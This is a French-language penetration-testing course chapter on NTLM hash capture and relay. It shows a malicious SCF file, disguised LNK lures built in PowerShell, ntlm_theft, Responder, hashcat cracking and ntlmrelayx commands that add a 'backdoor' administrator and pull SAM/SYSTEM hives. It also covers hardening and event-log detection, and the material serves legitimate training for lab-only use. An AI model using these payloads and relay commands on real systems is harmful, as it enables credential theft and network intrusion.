Copié !
Chapitre 07

Vecteurs d'Attaque : SCF, LNK & NTLM

Le chapitre le plus offensif du cours. Un fichier texte de 3 lignes déposé sur un partage suffit à capturer le hash NTLM de chaque utilisateur qui ouvre le dossier. Comprendre ces techniques est indispensable - pour les mener en pentest comme pour les détecter en SOC.

AVANCÉ OFFENSIF + DÉFENSIF 5 – 6h
Avertissement légal - Lab isolé obligatoire

Ces techniques sont présentées dans un cadre éducatif et légal. Toute utilisation hors d'un lab isolé ou sans autorisation écrite explicite est illégale. Ce chapitre prépare aux certifications OSCP, CRTE, et aux missions de pentest professionnelles. Le lab doit être entièrement isolé d'Internet - réseau Host-Only uniquement.

7.1

NTLM - Le Protocole qu'on N'arrive Pas à Tuer

NTLM (NT LAN Manager) est un protocole d'authentification Microsoft introduit avec Windows NT 3.1 en 1993. Malgré l'introduction de Kerberos comme protocole préféré dans Windows 2000, NTLM est encore omniprésent en 2026 : il fonctionne sans contrôleur de domaine, dans les workgroups, pour les connexions par adresse IP directe, et comme fallback automatique quand Kerberos échoue.

Pourquoi NTLM persiste

Kerberos nécessite un KDC (Domain Controller), un DNS fonctionnel, et que la cible soit joignable par nom d'hôte. Dès qu'une de ces conditions échoue - connexion par IP, DC injoignable, machine hors domaine - Windows bascule automatiquement sur NTLM. C'est ce fallback qui est exploité dans les attaques de ce chapitre.

Architecture NTLM - Challenge / Response en 3 étapes
Flux NTLM - Negotiate, Challenge, AuthenticateFLUX
CLIENT SERVEUR │ │ │ ── NEGOTIATE_MESSAGE ──────────────► │ "Je veux m'authentifier" │ │ │ ◄── CHALLENGE_MESSAGE ────────────── │ "Voici mon défi : 8 octets aléatoires (nonce)" │ │ │ [CLIENT calcule la réponse] │ │ HMAC-MD5(Hash_NT, nonce_serveur │ │ + nonce_client + timestamp) │ │ = NET-NTLMv2 Hash │ │ │ │ ── AUTHENTICATE_MESSAGE ───────────► │ "Voici ma réponse au défi" │ │ │ ◄── Succès / Échec ──────────────── │ Ce qui circule sur le réseau = NET-NTLMv2 hash (PAS le hash NT) → Responder capture ce NET-NTLMv2 hash
NTLMv1 vs NTLMv2 - Différences cryptographiques
AttributNTLMv1 (1993)NTLMv2 (1996)
AlgorithmeDES (3×) - cassable en <1h GPUHMAC-MD5 - plus robuste
TimestampAbsent - replay possiblePrésent - anti-replay
Nonce clientAbsentPrésent - résistance partielle au relay
Rainbow tablesDisponibles (crack.sh)Non applicables directement
Relay possibleOui, trivialOui, si SMB signing absent
Statut actuelÉliminer absolumentEncore présent - à surveiller
Hash NT vs NET-NTLMv2 - Distinction critique
Différence entre hash NT (SAM/LSASS) et NET-NTLMv2 (réseau)COMPARAISON
Hash NT (stocké) NET-NTLMv2 (réseau) ────────────────────────────── ────────────────────────────────────────────── MD4(mot_de_passe_unicode) HMAC-MD5(hash_NT, nonce_serveur + nonce_client...) Stocké dans SAM / LSASS Circule sur le réseau lors de l'authentification Utilisable en Pass-the-Hash ✓ Non utilisable en Pass-the-Hash directement ✖ Crackable offline Crackable offline (plus lent) Relayable si SMB signing absent ✓ Capturé par Responder - Format NTLMv2 : alice::WIN10LAB:aabbccdd11223344:NTRESPONSE:BLOB_TIMESTAMP_NONCE
La différence fondamentale

Un hash NT (capturé dans SAM ou LSASS) peut être utilisé directement en Pass-the-Hash - pas besoin du mot de passe. Un NET-NTLMv2 (capturé sur le réseau par Responder) ne peut pas être utilisé en Pass-the-Hash - il faut soit le cracker offline, soit le relayer immédiatement vers une autre cible (chapitre 7.6).

Formats capturés - NTLMv1 vs NTLMv2
Format des hashes capturés par ResponderFORMAT
NTLMv1 (hashcat mode 5500) : username::hostname:challenge:response_LM:response_NT alice::WIN10LAB:1122334455667788:AABBCC...:DDEEFF... NTLMv2 (hashcat mode 5600) : username::domain:challenge:NT_response:blob alice::WIN10LAB:aabbccdd11223344:3D8A2F4E...:010100000000000080C4B...
7.2

L'Attaque SCF - Shell Command File

Un fichier SCF (Shell Command File) est un format de configuration Windows hérité des années 90 - utilisé notamment par explorer.exe pour les raccourcis spéciaux comme "Afficher le Bureau". Son extension est .scf et Windows l'interprète automatiquement dès que l'Explorateur affiche le dossier qui le contient, même sans double-clic.

La vulnérabilité : la directive IconFile dans un .scf peut pointer vers un chemin UNC (\\attaquant\share\icon) - forçant Windows à tenter une authentification NTLM automatique vers l'IP de l'attaquant pour récupérer l'icône.

Structure d'un fichier SCF malveillant
malicious.scf - 3 lignes suffisent pour capturer un hash NTLMSCF
[Shell] Command=2 IconFile=\\192.168.56.100\share\icon.ico [Taskbar] Command=ToggleDesktop
Déroulement de l'attaque - 6 étapes automatiques
Chaîne d'exploitation SCF - zéro interaction utilisateur
1. L'attaquant dépose @malicious.scf sur un partage accessible
2. La victime navigue vers le dossier dans l'Explorateur Windows
3. L'Explorateur liste le contenu - voit le fichier .scf
4. Windows tente de charger l'icône : \\192.168.56.100\share\icon.ico
5. Windows initie une connexion SMB → envoie automatiquement un NET-NTLMv2
6. Responder/smbserver capte le hash - aucune interaction utilisateur requise
Nommage stratégique

En nommant le fichier @malicious.scf ou !malicious.scf, l'Explorateur le trie en premier dans la liste - et donc le charge en premier, avant même que la victime ne voie le contenu du dossier. Maximise les chances de capture même si la victime ferme rapidement la fenêtre.

7.3

L'Attaque LNK - Raccourci Windows Malveillant

Un fichier LNK est un raccourci Windows - format binaire propriétaire Microsoft stockant le chemin cible, l'icône à afficher, les arguments, et les options de fenêtre. Comme pour le SCF, si l'icône d'un .lnk pointe vers un chemin UNC, l'Explorateur Windows tentera une authentification NTLM automatique dès l'affichage du dossier.

Créer un fichier LNK malveillant - depuis Windows
PowerShell - LNK avec icône UNC distantePOWERSHELL
$attackerIP = "192.168.56.100" # IP de Kali $wscript = New-Object -ComObject WScript.Shell $shortcut = $wscript.CreateShortcut("C:\Temp\important_document.lnk") # Cible quelconque - peu importe, l'important c'est l'icône $shortcut.TargetPath = "C:\Windows\System32\calc.exe" $shortcut.Arguments = "C:\Partages\Projets" # L'icône pointe vers notre serveur → déclenche l'auth NTLM automatique $shortcut.IconLocation = "\\$attackerIP\share\icon.ico,0" # Métadonnées crédibles pour ne pas éveiller les soupçons $shortcut.Description = "Document important Q4 2024" $shortcut.WorkingDirectory = "C:\Partages\Projets" $shortcut.WindowStyle = 7 # Fenêtre minimisée - discret $shortcut.Save() Write-Host "LNK malveillant cree : C:\Temp\important_document.lnk"
Créer un fichier LNK - depuis Kali
ntlm_theft - génère tous les types de fichiers malveillantsBASH
# Outil ntlm_theft - génère LNK, SCF, URL, DOCX, PDF, XLSX malveillants git clone https://github.com/Greenwolf/ntlm_theft cd ntlm_theft python3 ntlm_theft.py -g all -s 192.168.56.100 -f confidentiel # Génère : # confidentiel.lnk ← Raccourci avec icône UNC distante # confidentiel.scf ← Shell Command File # confidentiel.url ← Raccourci Internet # confidentiel.docx ← Document Word avec image distante # confidentiel.xlsx ← Classeur Excel avec formule distante # confidentiel.pdf ← PDF avec ressource distante
Comparatif SCF vs LNK
CritèreSCFLNK
DéclenchementOuverture du dossier (auto)Ouverture du dossier (auto)
FormatTexte (INI) - 3 lignesBinaire - PowerShell requis
DiscrétionMoins - visible facilementPlus - icône personnalisable
Filtrage AVSouvent détectéVariable
Alternatives modernes.url, .desktop.lnk icône distante
7.4

Mise en Place du Serveur SMB Captureur

Option 1 - Responder (recommandé)

Responder est l'outil de référence pour capturer des authentifications NTLM. Il empoisonne les protocoles de résolution de noms (LLMNR, NBT-NS, MDNS) et sert des serveurs SMB/HTTP/FTP/LDAP pour capturer les hashes.

Responder - configuration et lancementBASH
# Vérifier la configuration de Responder cat /etc/responder/Responder.conf # SMB = On ← Serveur SMB captureur # HTTP = On ← Serveur HTTP captureur # LLMNR = On ← Empoisonnement LLMNR # NBT-NS = On ← Empoisonnement NetBIOS Name Service # Lancer Responder - mode standard (capture + empoisonnement) sudo responder -I eth1 -v # eth1 = interface Host-Only - adapter selon ton lab # Mode analyse uniquement (pas d'empoisonnement - discret) sudo responder -I eth1 -A # Mode capture sans empoisonnement LLMNR (pour attaques SCF/LNK ciblées) sudo responder -I eth1 --disable-ess
Sortie Responder lors d'une capture réussieOUTPUT
[SMB] NTLMv2-SSP Client : 192.168.56.10 [SMB] NTLMv2-SSP Username : WIN10LAB\alice [SMB] NTLMv2-SSP Hash : alice::WIN10LAB:aabbccdd11223344:3D8A2F4E...:010100000000000... [+] Captured hash saved to: /usr/share/responder/logs/SMB-NTLMv2-SSP-192.168.56.10.txt # Voir les hashes capturés ls /usr/share/responder/logs/ cat /usr/share/responder/logs/SMB-NTLMv2-SSP-*.txt
Option 2 - impacket-smbserver (léger, ciblé)
impacket-smbserver - serveur minimal sans empoisonnementBASH
# Serveur SMB minimal - pas d'empoisonnement - pour SCF/LNK directs impacket-smbserver share /tmp/smb_share -smb2support # Mode avec auth simulée (force NTLMv2) impacket-smbserver share /tmp/smb_share -smb2support -username test -password test # Sortie lors d'une connexion : # [*] Incoming connection (192.168.56.10,49832) # [*] AUTHENTICATE_MESSAGE (WIN10LAB\alice, WIN10LAB) # [*] User WIN10LAB\alice authenticated successfully # [*] alice::WIN10LAB:4141414141414141:hash...
7.5

Cracking Offline du Hash Capturé

Hashcat - GPU-accelerated
Hashcat mode 5600 - NTLMv2, wordlist, règles, brute forceBASH
# Mode 5600 = Net-NTLMv2 | Mode 5500 = Net-NTLMv1 # Cracking de base avec rockyou hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt # Avec règles best64 (augmente drastiquement les chances) hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt \ -r /usr/share/hashcat/rules/best64.rule # Avec règles avancées OneRuleToRuleThemAll hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt \ -r OneRuleToRuleThemAll.rule # Force brute 8 caractères tous types hashcat -m 5600 hash.txt -a 3 ?a?a?a?a?a?a?a?a # Voir les résultats crackés hashcat -m 5600 hash.txt --show # NTLMv1 avec ESS désactivé → crack.sh (tables arc-en-ciel, quelques secondes) # https://crack.sh/get-cracking/
John The Ripper
john - format netntlmv2BASH
john --format=netntlmv2 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt john --format=netntlmv2 hash.txt --show
Réalité terrain - Temps de cracking (RTX 4090)
Mot de passeTemps estimé (~330 GH/s)Vecteur
"password"< 1 secondeDans rockyou.txt directement
"P@ssw0rd"< 1 seconderockyou.txt + règles
"Azerty123!"Quelques secondesRègles de substitution
"Sup3r$ecret"Minutes à heuresRègles avancées
"xK9#mP2!qL3w"AnnéesForce brute - infaisable
La vraie protection contre le cracking

La vraie protection n'est pas la complexité du mot de passe - les GPU sont trop rapides pour les mots de passe courants. C'est d'empêcher la capture en premier lieu : SMB signing obligatoire, désactivation de LLMNR/NBT-NS, et blocage du port 445 outbound. Un hash jamais capturé ne peut jamais être cracké.

7.6

NTLM Relay - Principe & ntlmrelayx

Au lieu de capturer et cracker un hash NTLMv2, le relay consiste à transmettre l'authentification en temps réel vers une autre cible. L'attaquant agit comme un proxy MITM entre la victime et la cible.

Architecture du relay - MITM en temps réel
Flux NTLM Relay - victime, attaquant, cibleFLUX
VICTIME ATTAQUANT (Kali) CIBLE │ │ │ │ ── Connexion SMB ───────────► │ │ │ (vers \\ATTAQUANT\) │ ── Relaie l'auth ────────────► │ │ │ (vers \\CIBLE\) │ │ ◄── Challenge ────────────── │ ◄── Challenge ──────────────── │ │ │ │ │ ── Réponse NTLMv2 ──────────► │ │ │ │ ── Relaie la réponse ─────────► │ │ │ │ │ │ ◄── ACCES ACCORDE ─────────── │ │ │ Dump SAM / Shell / LDAP │ Conditions requises : 1. Cible sans SMB signing obligatoire 2. Attaquant sur le même réseau 3. Victime déclenche une auth NTLM (LLMNR, SCF, LNK...) 4. Compte victime a des droits sur la cible (admin local idéalement)
Configuration ntlmrelayx - étape par étape
Setup complet ntlmrelayx + Responder - 4 terminauxBASH
# ── ÉTAPE 1 : Désactiver SMB/HTTP dans Responder (ntlmrelayx les prend) ── nano /etc/responder/Responder.conf # SMB = Off # HTTP = Off # ── ÉTAPE 2 : Générer la liste des cibles sans SMB signing ─────────── netexec smb 192.168.56.0/24 --gen-relay-list /tmp/relay_targets.txt cat /tmp/relay_targets.txt # 192.168.56.10 # 192.168.56.20 # ── ÉTAPE 3 : Lancer ntlmrelayx ───────────────────────────────────── # Mode dump SAM (par défaut - si admin local) impacket-ntlmrelayx -tf /tmp/relay_targets.txt -smb2support # Mode commande distante impacket-ntlmrelayx -tf /tmp/relay_targets.txt -smb2support \ -c "net user backdoor P@ssw0rd! /add && net localgroup Administrators backdoor /add" # Mode shell interactif (le plus flexible) impacket-ntlmrelayx -tf /tmp/relay_targets.txt -smb2support -i # → Shell SMB interactif sur localhost:11000 # Mode LDAP relay (ajouter des comptes dans AD) impacket-ntlmrelayx -t ldap://192.168.56.1 --no-smb-server -smb2support \ --add-computer ROGUE$ P@ssw0rd123 # ── ÉTAPE 4 : Lancer Responder (empoisonnement LLMNR) ──────────────── sudo responder -I eth1 -v # SMB/HTTP = Off (configuré ci-dessus) # LLMNR = On ← Empoisonne les requêtes de résolution de noms
Relay réussi - connexion au shell interactifBASH
# ntlmrelayx affiche lors d'un relay réussi : # [*] SMBD-Thread: Received connection from 192.168.56.10 # [*] AUTHENTICATE_MESSAGE (WIN10LAB\alice, WIN10LAB) # [*] Relaying to remaining targets... # [*] Authenticating against 192.168.56.20 as WIN10LAB\alice SUCCEED # [*] Started interactive SMB client shell via TCP on 127.0.0.1:11000 # Se connecter au shell relay nc 127.0.0.1 11000 # Type help for list of commands # # shares ← Lister les partages # # use C$ ← Se connecter à C$ # # ls ← Lister # # get Windows\System32\config\SAM # # get Windows\System32\config\SYSTEM
7.7

Remédiations - Durcissement Complet

Défense n°1 - SMB Signing obligatoire (priorité absolue)
Activer SMB Signing - serveur et client + vérificationPOWERSHELL
# Sur tous les serveurs Windows Set-SmbServerConfiguration -RequireSecuritySignature $true -Force Set-SmbClientConfiguration -RequireSecuritySignature $true -Force # Via GPO (déploiement massif) : # Computer Configuration → Windows Settings → Security Settings → Local Policies # → Security Options : # "Microsoft network server: Digitally sign communications (always)" → Enabled # "Microsoft network client: Digitally sign communications (always)" → Enabled # Vérifier Get-SmbServerConfiguration | Select-Object RequireSecuritySignature netexec smb 192.168.56.10 # → signing:True (required)
Défense n°2 - Désactiver LLMNR et NBT-NS

Ces protocoles de résolution de noms "de secours" sont ce que Responder empoisonne pour forcer les victimes à se connecter vers l'attaquant. Les désactiver rend Responder aveugle.

Désactiver LLMNR (registre) et NBT-NS (WMI)POWERSHELL
# ── Désactiver LLMNR via Registre ─────────────────────────────────── New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient" ` -Name "EnableMulticast" -Value 0 -PropertyType DWord -Force # Via GPO : Computer Configuration → Administrative Templates → Network # → DNS Client → "Turn off multicast name resolution" → Enabled # ── Désactiver NBT-NS sur toutes les interfaces ────────────────────── $adapters = Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled} foreach ($adapter in $adapters) { $adapter.SetTcpipNetbios(2) | Out-Null # 2 = Désactiver NetBIOS over TCP/IP } Write-Host "NBT-NS desactive sur toutes les interfaces" # Vérifier (0=défaut, 1=activé, 2=désactivé) Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled} | Select-Object Description, TcpipNetbiosOptions
Défense n°3 - Forcer NTLMv2 uniquement
LmCompatibilityLevel - éliminer NTLMv1POWERSHELL
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" ` -Name "LmCompatibilityLevel" -Value 5 # Valeurs : # 0 = LM + NTLM ← TRES DANGEREUX # 1 = LM + NTLM ← DANGEREUX # 2 = NTLM uniquement # 3 = NTLMv2 ← Recommandé minimum # 4 = NTLMv2 (DC refuse LM) # 5 = NTLMv2 uniquement ← MAXIMUM - peut casser d'anciennes apps # Via GPO : # Computer Configuration → Security Settings → Local Policies → Security Options # → "Network security: LAN Manager authentication level" → NTLMv2 only
Défense n°4 - Bloquer le port 445 outbound
Règle pare-feu - bloquer les connexions SMB sortantesPOWERSHELL
# Bloquer les connexions SMB SORTANTES vers l'extérieur # Empêche les victimes de se connecter vers des serveurs SMB attaquants New-NetFirewallRule ` -Name "Block-SMB-Outbound-Anti-Capture" ` -DisplayName "Bloquer SMB sortant (anti-relay/capture)" ` -Direction Outbound ` -Protocol TCP ` -RemotePort 445 ` -Action Block ` -Profile Domain,Private,Public # Pour whitelister les serveurs de fichiers internes légitimes : New-NetFirewallRule ` -Name "Allow-SMB-FileServer" ` -DisplayName "Autoriser SMB vers serveurs de fichiers" ` -Direction Outbound ` -Protocol TCP ` -RemotePort 445 ` -RemoteAddress "192.168.56.50,192.168.56.51" ` -Action Allow
Tableau de synthèse - Attaque vs Contre-mesure
AttaqueContre-mesure principaleCommande / Action clé
SCF / LNK hash captureBloquer port 445 outboundNew-NetFirewallRule -RemotePort 445 -Action Block
LLMNR poisoningDésactiver LLMNREnableMulticast = 0 dans registre
NBT-NS poisoningDésactiver NBT-NSSetTcpipNetbios(2) sur adaptateurs
NTLM RelaySMB Signing obligatoireRequireSecuritySignature = $true
NTLMv1 crackingForcer NTLMv2 minimumLmCompatibilityLevel = 5
Hash crackingMots de passe longs + MFAPolitique >15 chars + FIDO2
TP

Attaque LNK de Bout en Bout

TP 07 LNK malveillant → Responder → Hash capturé → Cracking → Relay → Restauration AVANCÉ
Architecture du lab
Topologie réseau isolée - Host-Only uniquementRÉSEAU
Réseau Host-Only : 192.168.56.0/24 - AUCUNE connexion Internet ┌──────────────────────────┐ ┌──────────────────────────┐ │ Windows 10 │ │ Kali Linux │ │ 192.168.56.10 │ │ 192.168.56.100 │ │ alice (user standard) │ │ Responder │ │ LabShare actif │ │ ntlmrelayx │ │ SMB Signing OFF (test) │ │ hashcat │ └──────────────────────────┘ └──────────────────────────┘
Objectifs
  1. Créer un partage SMB simulant un environnement d'entreprise
  2. Générer un fichier LNK malveillant avec icône UNC distante
  3. Déposer le LNK sur le partage et capturer le hash avec Responder
  4. Cracker le hash capturé avec hashcat
  5. Effectuer un NTLM Relay si le hash ne craque pas
  6. Analyser les traces laissées et sécuriser l'environnement
Créer partage + désactiver SMB Signing (lab uniquement)POWERSHELL
# Créer le partage simulant un partage d'équipe New-Item -ItemType Directory -Path "C:\Partages\Projets" -Force | Out-Null New-SmbShare -Name "Projets" -Path "C:\Partages\Projets" ` -ChangeAccess "Everyone" -Description "Partage projets equipe" # Fichiers leurres légitimes Set-Content "C:\Partages\Projets\Budget_Q4.xlsx.txt" -Value "Donnees budgetaires Q4" Set-Content "C:\Partages\Projets\Planning_2025.docx.txt" -Value "Planning annuel" Write-Host "Partage cree : \\$env:COMPUTERNAME\Projets" # Désactiver SMB Signing - VULNÉRABLE au relay (LAB UNIQUEMENT) Set-SmbServerConfiguration -RequireSecuritySignature $false -Force Write-Host "SMB Signing desactive - VULNERABLE au relay (test uniquement)" -ForegroundColor Red
LNK avec icône UNC → dépôt sur le partagePOWERSHELL
$attackerIP = "192.168.56.100" $outputPath = "C:\Temp\Budget_Q4_Final.lnk" New-Item -ItemType Directory -Path "C:\Temp" -Force | Out-Null $wscript = New-Object -ComObject WScript.Shell $shortcut = $wscript.CreateShortcut($outputPath) $shortcut.TargetPath = "C:\Windows\explorer.exe" $shortcut.Arguments = "C:\Partages\Projets" $shortcut.IconLocation = "\\$attackerIP\share\icon.ico,0" # UNC → trigger NTLM $shortcut.Description = "Budget Q4 - Document final approuve" $shortcut.WorkingDirectory = "C:\Partages\Projets" $shortcut.WindowStyle = 7 $shortcut.Save() # Déposer sur le partage (simule un accès en écriture de l'attaquant) Copy-Item $outputPath "\\localhost\Projets\Budget_Q4_Final.lnk" Write-Host "LNK depose sur \\localhost\Projets\" -ForegroundColor Yellow
Alternative - ntlm_theft depuis KaliBASH
# Générer avec ntlm_theft cd /opt/ntlm_theft python3 ntlm_theft.py -g lnk -s 192.168.56.100 -f "Budget_Q4_Final" # Uploader sur le partage via smbclient smbclient //192.168.56.10/Projets -U "restricteduser%Restricted@2024!" \ -c "put Budget_Q4_Final.lnk"
Lancer Responder + surveiller les logs en temps réelBASH
# Terminal 1 - Responder ip addr show | grep "192.168.56" # Identifier l'interface Host-Only sudo responder -I eth1 -v # Terminal 2 - Surveiller les logs en temps réel watch -n 1 "ls -la /usr/share/responder/logs/ && echo '---' && \ cat /usr/share/responder/logs/SMB-NTLMv2*.txt 2>/dev/null | tail -5"
Simuler la navigation de la victime - déclenchement du LNKPOWERSHELL
# En tant que victime (alice ou restricteduser) # Option 1 : via l'Explorateur Windows - naviguer vers \\localhost\Projets # → LNK Budget_Q4_Final.lnk s'affiche → icône chargée → hash capturé # Option 2 : via PowerShell (même résultat) Get-ChildItem "\\localhost\Projets" # → Le shell charge les métadonnées (dont l'icône) → auth NTLM vers Kali # Résultat attendu sur Kali (Responder) : # [SMB] NTLMv2-SSP Client : 192.168.56.10 # [SMB] NTLMv2-SSP Username : WIN10LAB\alice # [SMB] NTLMv2-SSP Hash : alice::WIN10LAB:1122334455667788:ABCD....:0101...
hashcat mode 5600 + validation avec netexecBASH
# Récupérer le hash HASH_FILE="/usr/share/responder/logs/SMB-NTLMv2-SSP-192.168.56.10.txt" cat $HASH_FILE # Vérifier le format head -1 $HASH_FILE # alice::WIN10LAB:challenge:response:blob # Cracking avec rockyou + règles best64 hashcat -m 5600 $HASH_FILE /usr/share/wordlists/rockyou.txt \ -r /usr/share/hashcat/rules/best64.rule \ --status --status-timer 10 # Voir le résultat hashcat -m 5600 $HASH_FILE --show # alice::WIN10LAB:...:Restricted@2024! # Valider le credential trouvé netexec smb 192.168.56.10 -u alice -p "Restricted@2024!" --shares
ntlmrelayx mode interactif - shell SMB directBASH
# Terminal 1 - Désactiver SMB/HTTP dans Responder sed -i 's/SMB = On/SMB = Off/' /etc/responder/Responder.conf sed -i 's/HTTP = On/HTTP = Off/' /etc/responder/Responder.conf # Générer liste des cibles sans signing netexec smb 192.168.56.0/24 --gen-relay-list /tmp/relay_targets.txt # Terminal 2 - ntlmrelayx mode shell interactif impacket-ntlmrelayx \ -tf /tmp/relay_targets.txt \ -smb2support \ -i # Terminal 3 - Responder (empoisonnement LLMNR seulement) sudo responder -I eth1 -v # Terminal 4 - Connexion au shell relay une fois le relay réussi nc 127.0.0.1 11000 # # shares # # use C$ # # ls # # get Windows\System32\config\SAM # # get Windows\System32\config\SYSTEM
Réactiver SMB Signing + analyser Event 4624 et 5140POWERSHELL
# Rétablir SMB Signing Set-SmbServerConfiguration -RequireSecuritySignature $true -Force Set-SmbClientConfiguration -RequireSecuritySignature $true -Force # Supprimer le LNK malveillant et le partage Remove-Item "C:\Partages\Projets\Budget_Q4_Final.lnk" -Force -EA SilentlyContinue Remove-SmbShare -Name "Projets" -Force Remove-Item "C:\Partages\" -Recurse -Force Write-Host "`n=== TRACES DE L'ATTAQUE ===" -ForegroundColor Red # Event 4624 - Connexion réseau (Logon Type 3) depuis une IP suspecte Get-WinEvent -FilterHashtable @{LogName='Security';Id=4624;StartTime=(Get-Date).AddHours(-1)} ` -EA SilentlyContinue | ForEach-Object { $xml = [xml]$_.ToXml() $data = $xml.Event.EventData.Data $type = ($data | Where-Object {$_.Name -eq 'LogonType'}).'#text' $ip = ($data | Where-Object {$_.Name -eq 'IpAddress'}).'#text' $user = ($data | Where-Object {$_.Name -eq 'TargetUserName'}).'#text' if ($type -eq "3" -and $ip -match "192\.168\.56\." -and $user -ne "-") { Write-Host "[4624 Logon3] $($_.TimeCreated) | $user depuis $ip" -ForegroundColor Yellow } } # Event 5140 - Connexion à un partage Get-WinEvent -FilterHashtable @{LogName='Security';Id=5140;StartTime=(Get-Date).AddHours(-1)} ` -EA SilentlyContinue | ForEach-Object { $xml = [xml]$_.ToXml() $data = $xml.Event.EventData.Data Write-Host "[5140 Share] $($_.TimeCreated) | $(($data | Where-Object {$_.Name -eq 'SubjectUserName'}).'#text') accede a $(($data | Where-Object {$_.Name -eq 'ShareName'}).'#text') depuis $(($data | Where-Object {$_.Name -eq 'IpAddress'}).'#text')" -ForegroundColor Yellow }
Analyse et nettoyage côté KaliBASH
# Tous les hashes capturés pendant la session cat /usr/share/responder/logs/Responder-Session.log | grep "NTLMv2" # Base de données SQLite Responder sqlite3 /usr/share/responder/Responder.db \ "SELECT * FROM responder ORDER BY timestamp DESC LIMIT 10;" # Restaurer Responder.conf (remettre SMB/HTTP On) sed -i 's/SMB = Off/SMB = On/' /etc/responder/Responder.conf sed -i 's/HTTP = Off/HTTP = On/' /etc/responder/Responder.conf # Nettoyer les logs après l'exercice rm /usr/share/responder/logs/*.txt echo "Nettoyage Responder termine"

Résumé - Points clés à retenir

Architecture NTLM
Challenge/Response - jamais le mot de passe

NTLM ne transmet jamais le mot de passe en clair. Le NET-NTLMv2 circulant sur le réseau est un dérivé du hash NT et du nonce - il ne peut pas être utilisé en Pass-the-Hash, mais peut être cracké offline ou relayé en temps réel si SMB signing est absent.

SCF & LNK
Zéro interaction utilisateur requise

Un SCF de 3 lignes ou un LNK avec icône UNC déclenche automatiquement une authentification NTLM dès que la victime ouvre le dossier contenant le fichier. Nommer le fichier @fichier.scf le positionne en tête de liste - capture garantie avant même que la victime ne voie le contenu.

Pour l'Offensif
Responder + ntlmrelayx = combo standard

Responder empoisonne LLMNR/NBT-NS pour forcer les victimes à se connecter. ntlmrelayx relaie immédiatement l'auth vers les cibles sans signing. Si le hash craque → accès direct avec credentials. Si non → relay immédiat. ntlm_theft génère tous les formats en une commande.

Pour le Défensif
4 défenses en priorité

1. SMB Signing obligatoire - tue le relay. 2. Désactiver LLMNR/NBT-NS - rend Responder aveugle. 3. Bloquer port 445 outbound - empêche la capture SCF/LNK. 4. LmCompatibilityLevel=5 - élimine NTLMv1. Event 4624 (type 3) + Event 5140 depuis IPs inhabituelles = signature d'une capture en cours.

  • Expliquer le mécanisme challenge/response NTLM et ce qui circule sur le réseau
  • Distinguer hash NT (Pass-the-Hash) et NET-NTLMv2 (cracking/relay)
  • Identifier les différences cryptographiques NTLMv1 vs NTLMv2
  • Créer un fichier SCF malveillant (3 lignes) pointant vers un serveur UNC
  • Générer un LNK malveillant avec icône distante via PowerShell ou ntlm_theft
  • Configurer et lancer Responder pour capturer des hashes NTLMv2
  • Cracker un hash NTLMv2 avec hashcat mode 5600 et règles best64
  • Configurer ntlmrelayx en mode shell interactif et effectuer un relay SMB
  • Désactiver LLMNR via registre et NBT-NS via WMI sur toutes les interfaces
  • Analyser les Event 4624 (type 3) et 5140 pour détecter une capture NTLM
Prochain chapitre

Le Chapitre 8 - Credentials : SAM, SYSTEM, SECURITY & DPAPI approfondit ce qui se passe après avoir compromis une machine : comment extraire les mots de passe stockés localement, que ce soit via le registre, les Volume Shadow Copies, ou les fichiers DPAPI - et comment détecter ces extractions.